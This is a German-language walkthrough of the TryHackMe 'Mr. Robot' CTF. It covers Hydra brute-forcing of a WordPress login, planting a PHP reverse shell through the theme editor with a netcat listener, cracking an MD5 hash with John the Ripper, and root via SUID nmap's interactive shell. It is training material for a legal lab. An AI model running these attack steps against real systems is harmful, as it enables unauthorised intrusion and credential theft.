Startseite Writeups Mr. Robot CTF
Easy 🏷 Web · PrivEsc · CTF 📅 Oktober 2023 ⏱ ~20 Min Lesezeit

Mr. Robot CTF – Kompletter Walkthrough

Drei versteckte Keys, WordPress-Bruteforce, PHP Reverse Shell und SUID Privilege Escalation — inspiriert von der gleichnamigen TV-Serie. Ein perfekter Einstieg ins Web-Pentesting.

0xRoshiSh3ll
0xRoshiSh3ll TryHackMe Writeup · Deutsch
Zum THM-Raum ↗

01Einführung

Die TryHackMe Mr. Robot CTF Maschine ist als Easy eingestuft und basiert auf der gleichnamigen TV-Serie rund um den Hacker Elliot Alderson. Ziel ist es, drei versteckte Keys zu finden — vom einfachen Reconnaissance bis zur vollständigen Root-Kompromittierung des Systems.

💡
Schwierigkeit: Easy  |  OS: Linux  |  Keys: 3  |  Kategorie: Web, PrivEsc, CTF

02Reconnaissance

Wie üblich starten wir mit aktivem Reconnaissance auf der Zielmaschine. Ein Nmap-Scan verschafft uns einen ersten Überblick über offene Ports und laufende Dienste.

bash
nmap -sC -sV 10.10.119.168
🔍
Ergebnis: Zwei offene Ports — Port 80 (HTTP) und Port 443 (HTTPS). SSH auf Port 22 ist halb geschlossen. Der Webserver ist unser Einfallstor.

03Web Enumeration — Port 80

Port 80 ist offen — also rein. Wir navigieren zur Ziel-IP und werden direkt von einer cineastischen Boot-Sequenz begrüßt. Ein interaktives Terminal das aussieht als hätte fsociety es selbst gebaut. Beeindruckend — aber wir sind hier um Schwachstellen zu finden.

Mr. Robot Terminal-Website — Rechtsklick zeigt

Mr. Robot Terminal-Website — Rechtsklick zeigt "View Page Source"

Die vollständige Mr. Robot Startseite mit interaktiven Commands

Die vollständige Mr. Robot Startseite mit interaktiven Commands

Ein kurzer Blick in den Quellcode — Zeile 20 verrät etwas Interessantes. Die interaktiven Commands auf der Startseite sind gut gemacht, bringen uns aber nicht weiter. Wir graben tiefer.

📁 Directory Enumeration mit Dirbuster

Mit Dirbuster suchen wir nach versteckten Verzeichnissen und Dateien auf dem Webserver.

bash
dirbuster -u http://10.10.119.168 -l /usr/share/dirb/wordlists/common.txt
🔍
Treffer! /wp-login.php antwortet mit Status 200. Die Maschine läuft auf WordPress — und WordPress ist bekannt für seine Angriffsfläche. Das ist unser nächstes Ziel. Das /admin/ Verzeichnis gibt noch keinen Zugang.

04Key 1 — robots.txt

Bevor wir irgendwas cracken — immer zuerst die robots.txt prüfen. Administratoren sperren dort Bereiche für Suchmaschinen. Und manchmal vergessen sie dabei, was sie eigentlich verstecken wollten.

browser
http://10.10.119.168/robots.txt
robots.txt enthält zwei interessante Einträge: key-1-of-3.txt und fsocity.dic

robots.txt enthält zwei interessante Einträge: key-1-of-3.txt und fsocity.dic

🏁
Key 1 gefunden! Die robots.txt zeigt key-1-of-3.txt. Einfach den Dateinamen in der URL eingeben und der erste Key ist unser!

Aber das ist noch nicht alles — die robots.txt enthält auch fsocity.dic. Eine Wörterliste. Jemand hat sie dort vergessen. Wir nehmen sie mit — sie wird uns später sehr nützlich sein.

fsocity.dic wird automatisch heruntergeladen — eine lange Wordlist

fsocity.dic wird automatisch heruntergeladen — eine lange Wordlist

Die Datei ist eine lange Liste mit tausenden Einträgen. Mögliche Benutzernamen. Mögliche Passwörter. Wir wissen es noch nicht — aber wir werden es herausfinden.

05Bruteforce — WordPress Login

WordPress Login-Seite — check. Wordlist — check. Hydra — gestartet. Wir starten den Angriff in zwei Phasen: erst den Benutzernamen aufdecken, dann das Passwort brechen. WordPress macht uns dabei ungewollt einen Gefallen: es zeigt unterschiedliche Fehlermeldungen je nachdem ob der Username existiert oder nicht.

🔍 Schritt 1 — Benutzernamen ermitteln

bash
hydra -L fsocity.dic -p test 10.10.119.168 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:Invalid username" -t 30
Hydra findet den gültigen Benutzernamen: Elliot

Hydra findet den gültigen Benutzernamen: Elliot

Wir probieren den Fund direkt an der Login-Maske aus. WordPress antwortet — und verrät dabei mehr als es sollte:

WordPress bestätigt: Benutzer

WordPress bestätigt: Benutzer "Elliot" existiert — nur das Passwort stimmt noch nicht

💡
WordPress bestätigt unfreiwillig: Elliot existiert als Benutzer. Diese Fehlermeldung ist ein klassischer OWASP-Fehler — und genau das was wir brauchen.

🔑 Schritt 2 — Passwort cracken

Phase 2. Benutzername bekannt: Elliot. Jetzt jagen wir das Passwort. Hydra bekommt diesmal einen festen Username und die komplette fsocity.dic als Munition. Wichtig: -L auf -l (Kleinbuchstabe) ändern — sonst läuft der Scan gegen die Wand.

bash
hydra -l Elliot -P fsocity.dic 10.10.119.168 http-post-form "/wp-login.php:log=^USER^&pwd=^PWD^:The password you entered for the username" -t 30
Passwort gecrackt. Hydra liefert die Credentials. Wir loggen uns ein.
WordPress Dashboard von Elliot — wir haben vollen Admin-Zugriff

WordPress Dashboard von Elliot — wir haben vollen Admin-Zugriff

Als Admin haben wir Zugriff auf den Theme-Editor. Das ist kein Feature — das ist eine Hintertür. Wir werden sie benutzen.

06Reverse Shell via WordPress Editor

⚠️
Nur in autorisierten Umgebungen! Was du hier siehst funktioniert in echten Systemen genauso. Nutze dieses Wissen ausschließlich in legalen CTF-Umgebungen wie TryHackMe.

📡 Schritt 1 — Netcat Listener starten

Bevor wir die Shell triggern, muss unser Listener bereitstehen. Netcat öffnet einen Port auf unserer Kali-Maschine und wartet auf die eingehende Verbindung vom Ziel:

bash
nc -lvnp 1234

🐚 Schritt 2 — PHP Reverse Shell einbinden

Wir greifen zur PHP-Reverse-Shell von PentestMonkey — ein Klassiker im Toolkit jedes Pentesters. Im Theme-Editor reißen wir den Inhalt von archive.php raus und ersetzen ihn komplett mit unserem Payload.

WordPress Theme Editor — archive.php wird mit der Reverse Shell ersetzt

WordPress Theme Editor — archive.php wird mit der Reverse Shell ersetzt

Kritischer Schritt: In der Shell-Datei muss die eigene Kali-IP eingetragen werden — nicht die des Ziels. Falsche IP = keine Shell. Doppelt prüfen, dann speichern.

PHP Reverse Shell — eigene Kali-IP (10.8.200.139) und Port 1234 eintragen

PHP Reverse Shell — eigene Kali-IP (10.8.200.139) und Port 1234 eintragen

File gespeichert. Jetzt den Payload zünden — wir rufen die archive.php direkt im Browser auf:

browser
http://TARGET-IP/wp-content/themes/twentyfifteen/archive.php
Shell erhalten! Netcat Listener empfängt Verbindung — wir sind als daemon eingeloggt

Shell erhalten! Netcat Listener empfängt Verbindung — wir sind als daemon eingeloggt

🐉
Shell aktiv! Mit whoami sehen wir: wir sind als daemon eingeloggt — ein User mit sehr niedrigen Rechten. Weiter geht's!

07Key 2 — Hash Cracking

Shell haben wir — jetzt erkunden wir das System. Das Home-Verzeichnis ist immer ein guter Startpunkt. Was hat der User robot dort versteckt?

bash
ls /home
cd /home/robot
ls -lsa
/home/robot — key-2-of-3.txt (kein Zugriff) und password.raw-md5 (lesbar!)

/home/robot — key-2-of-3.txt (kein Zugriff) und password.raw-md5 (lesbar!)

Key 2 liegt direkt vor uns — aber wir dürfen ihn nicht lesen. Noch nicht. Dafür sehen wir etwas Interessanteres: password.raw-md5. Ein MD5-Hash. Den speichern wir und schicken ihn durch John the Ripper:

bash
john robot.hash --wordlist=fsocity.dic --format=Raw-MD5
John the Ripper crackt den Hash — Passwort für den User robot: abcdefghijklmnopqrstuvwxyz

John the Ripper crackt den Hash — Passwort für den User robot: abcdefghijklmnopqrstuvwxyz

Hash geknackt. Passwort in der Hand. Wir stabilisieren die Shell mit Python und wechseln den User — Zeit robot zu werden:

bash
python -c 'import pty;pty.spawn("/bin/bash")'
su robot
Shell stabilisiert — User robot eingeloggt — Key 2 kann jetzt gelesen werden

Shell stabilisiert — User robot eingeloggt — Key 2 kann jetzt gelesen werden

🏁
Key 2 gehört uns. Zwei von drei. Der letzte wartet hinter Root. Weiter.

08Privilege Escalation — SUID Nmap

Jetzt kommt der entscheidende Schritt: Root. Wir suchen nach SUID-Binaries — Programme die mit erhöhten Rechten laufen. Eines davon könnte unsere Eintrittskarte nach ganz oben sein.

bash
find / -perm +6000 2>/dev/null | grep 'bin/'
SUID Binary Liste — /usr/local/bin/nmap fällt sofort auf!

SUID Binary Liste — /usr/local/bin/nmap fällt sofort auf!

nmap mit SUID-Bit — das ist ein grober Konfigurationsfehler. Auf GTFOBins schlagen wir nach und finden den Exploit: nmap hat einen interaktiven Modus der direkt eine Shell mit den Rechten des Owners spawnt. Der Owner ist root.

bash
/usr/local/bin/nmap --interactive
nmap> !sh

09Key 3 — Root!

nmap --interactive gibt Root-Shell — ls /root zeigt key-3-of-3.txt

nmap --interactive gibt Root-Shell — ls /root zeigt key-3-of-3.txt

👑
Root-Shell. Game over. ls /root — da liegt er. Key 3. Mission abgeschlossen. Du hast alle drei Keys gefunden, das System vollständig kompromittiert und jeden Schritt des Angriffspfads gemeistert.

Access granted. 💀

10Alle Flags

🏁 Key 1 http://TARGET-IP/key-1-of-3.txt Gefunden via robots.txt
🏁 Key 2 /home/robot/key-2-of-3.txt Nach MD5-Hash Crack → User robot
👑 Key 3 /root/key-3-of-3.txt Nach SUID Nmap → Root

11Fazit & Lernpunkte

Mr. Robot zeigt dir wie ein realer Angriff aussieht — von der ersten Enumeration bis zur Root-Shell. Kein einzelner magischer Exploit, sondern eine Chain aus kleinen Fehlern die zusammen das System öffnen. Genau so läuft es in der echten Welt.

  • robots.txt immer als erstes prüfen — enthält oft sensible Pfade
  • WordPress als Angriffsfläche: Der Theme-Editor erlaubt direkte Code-Ausführung
  • Hydra Bruteforce: Zuerst Username ermitteln, dann Passwort — spart enorm Zeit
  • MD5-Hashes mit John the Ripper und einer guten Wordlist schnell crackbar
  • SUID-Binaries immer nach initialem Zugriff prüfen — GTFOBins ist unverzichtbar
  • Shell stabilisieren mit python -c 'import pty;pty.spawn("/bin/bash")' nicht vergessen!
📚
Nützliche Ressourcen:
GTFOBins · THM Mr. Robot Room · PentestMonkey